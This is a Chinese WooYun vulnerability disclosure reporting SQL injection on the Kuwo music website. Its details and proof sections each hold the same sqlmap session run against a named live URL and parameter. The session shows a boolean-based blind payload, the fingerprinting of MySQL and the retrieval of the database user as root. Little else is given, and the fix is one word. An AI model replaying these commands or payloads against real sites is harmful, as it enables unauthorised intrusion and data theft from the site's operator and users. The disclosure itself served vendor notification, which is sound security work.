当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0207432

漏洞标题:酷我主站一枚SQL注入root权限

相关厂商:酷我音乐

漏洞作者: 奶嘴

提交时间:2016-05-11 12:24

修复时间:2016-06-25 17:40

公开时间:2016-06-25 17:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-11: 细节已通知厂商并且等待厂商处理中
2016-05-11: 厂商已经确认,细节仅向厂商公开
2016-05-21: 细节向核心白帽子及相关领域专家公开
2016-05-31: 细节向普通白帽子公开
2016-06-10: 细节向实习白帽子公开
2016-06-25: 细节向公众公开

简要描述:

RTRT

详细说明:

系统无法在消息文件中为 Application 找到消息号为 0x2350 的消息文本。
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
存储空间不足,无法处理此命令。
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:05:13
[12:05:14] [INFO] testing connection to the target URL
[12:05:15] [INFO] testing if the target URL is stable
[12:05:15] [INFO] target URL is stable
[12:05:15] [INFO] testing if GET parameter 'id' is dynamic
[12:05:16] [WARNING] GET parameter 'id' does not appear dynamic
[12:05:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[12:05:16] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n] n
[12:05:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:05:26] [WARNING] reflective value(s) found and filtering out
[12:05:32] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHER
E or HAVING clause' injectable (with --string="\u5f80\u671f\u9884\u6f14\u8282\u7
6ee")
[12:05:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[12:05:33] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[12:05:33] [INFO] testing 'MySQL inline queries'
[12:05:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[12:05:34] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..................
[12:05:40] [CRITICAL] considerable lagging has been detected in connection respo
nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or
more)
[12:05:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[12:05:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[12:05:40] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[12:05:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[12:05:50] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] n
sqlmap identified the following injection point(s) with a total of 77 HTTP(s) re
quests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=26 AND 1997=1997
---
[12:07:20] [INFO] testing MySQL
[12:07:21] [INFO] confirming MySQL
[12:07:22] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.2
[12:07:22] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 51 times
[12:07:22] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.kuwo.cn'
[*] shutting down at 12:07:22
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10 --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:07:32
[12:07:33] [INFO] resuming back-end DBMS 'mysql'
[12:07:33] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=26 AND 1997=1997
---
[12:07:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[12:07:34] [INFO] fetching current user
[12:07:34] [INFO] retrieving the length of query output
[12:07:34] [INFO] retrieved:
[12:07:34] [WARNING] reflective value(s) found and filtering out
20
[12:07:57] [INFO] retrieved: root@192.168.204.160
current user: 'root@192.168.204.160'
[12:07:57] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.kuwo.cn'
[*] shutting down at 12:07:57
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10 --users
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:08:18
[12:08:18] [INFO] resuming back-end DBMS 'mysql'
[12:08:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=26 AND 1997=1997
---
[12:08:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[12:08:19] [INFO] fetching database users
[12:08:19] [INFO] fetching number of database users
[12:08:19] [INFO] retrieved:
[12:08:19] [WARNING] reflective value(s) found and filtering out
[12:08:20] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[12:08:20] [CRITICAL] unable to retrieve the number of database users
[12:08:20] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3 times
[*] shutting down at 12:08:20
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10 --users

漏洞证明:

系统无法在消息文件中为 Application 找到消息号为 0x2350 的消息文本。
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
存储空间不足,无法处理此命令。
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:05:13
[12:05:14] [INFO] testing connection to the target URL
[12:05:15] [INFO] testing if the target URL is stable
[12:05:15] [INFO] target URL is stable
[12:05:15] [INFO] testing if GET parameter 'id' is dynamic
[12:05:16] [WARNING] GET parameter 'id' does not appear dynamic
[12:05:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[12:05:16] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n] n
[12:05:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:05:26] [WARNING] reflective value(s) found and filtering out
[12:05:32] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHER
E or HAVING clause' injectable (with --string="\u5f80\u671f\u9884\u6f14\u8282\u7
6ee")
[12:05:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[12:05:33] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[12:05:33] [INFO] testing 'MySQL inline queries'
[12:05:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[12:05:34] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..................
[12:05:40] [CRITICAL] considerable lagging has been detected in connection respo
nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or
more)
[12:05:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[12:05:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[12:05:40] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[12:05:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[12:05:50] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] n
sqlmap identified the following injection point(s) with a total of 77 HTTP(s) re
quests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=26 AND 1997=1997
---
[12:07:20] [INFO] testing MySQL
[12:07:21] [INFO] confirming MySQL
[12:07:22] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.2
[12:07:22] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 51 times
[12:07:22] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.kuwo.cn'
[*] shutting down at 12:07:22
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10 --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:07:32
[12:07:33] [INFO] resuming back-end DBMS 'mysql'
[12:07:33] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=26 AND 1997=1997
---
[12:07:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[12:07:34] [INFO] fetching current user
[12:07:34] [INFO] retrieving the length of query output
[12:07:34] [INFO] retrieved:
[12:07:34] [WARNING] reflective value(s) found and filtering out
20
[12:07:57] [INFO] retrieved: root@192.168.204.160
current user: 'root@192.168.204.160'
[12:07:57] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.kuwo.cn'
[*] shutting down at 12:07:57
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10 --users
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:08:18
[12:08:18] [INFO] resuming back-end DBMS 'mysql'
[12:08:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=26 AND 1997=1997
---
[12:08:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[12:08:19] [INFO] fetching database users
[12:08:19] [INFO] fetching number of database users
[12:08:19] [INFO] retrieved:
[12:08:19] [WARNING] reflective value(s) found and filtering out
[12:08:20] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[12:08:20] [CRITICAL] unable to retrieve the number of database users
[12:08:20] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3 times
[*] shutting down at 12:08:20
C:\Python27\sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=
26" --threads 10 --users

修复方案:

过滤

版权声明:转载请注明来源 奶嘴@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2016-05-11 17:37

厂商回复:

感谢对酷我的支持关注,我们将尽快进行修复!

最新状态:

暂无


漏洞评价:

评价